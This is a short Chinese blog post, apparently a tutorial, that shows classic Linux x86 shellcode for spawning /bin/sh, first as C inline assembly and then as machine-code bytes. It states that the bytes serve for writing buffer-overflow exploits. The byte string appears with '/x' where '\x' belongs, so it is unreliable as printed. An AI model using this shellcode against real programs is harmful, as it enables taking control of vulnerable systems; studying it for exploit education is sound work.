您的位置:首页 > 运维架构 > Shell

关于一个简单shellcode封装成C语言的形式

2009-08-25 16:45 393 查看
void main() {
__asm__("
jmp 0x18       # 2 bytes
popl %esi       # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
xorl %eax,%eax    # 2 bytes
movb %eax,0x7(%esi)  # 3 bytes
movl %eax,0xc(%esi)  # 3 bytes
movb $0xb,%al     # 2 bytes
movl %esi,%ebx    # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80      # 2 bytes
call -0x2d      # 5 bytes
.string /"/bin/sh/"  # 8 bytes
");
}
------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
/xeb/x18/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b
/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xec/xff/xff/xff/bin/sh

接着我们就可以利用这段代码编写溢出程序了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐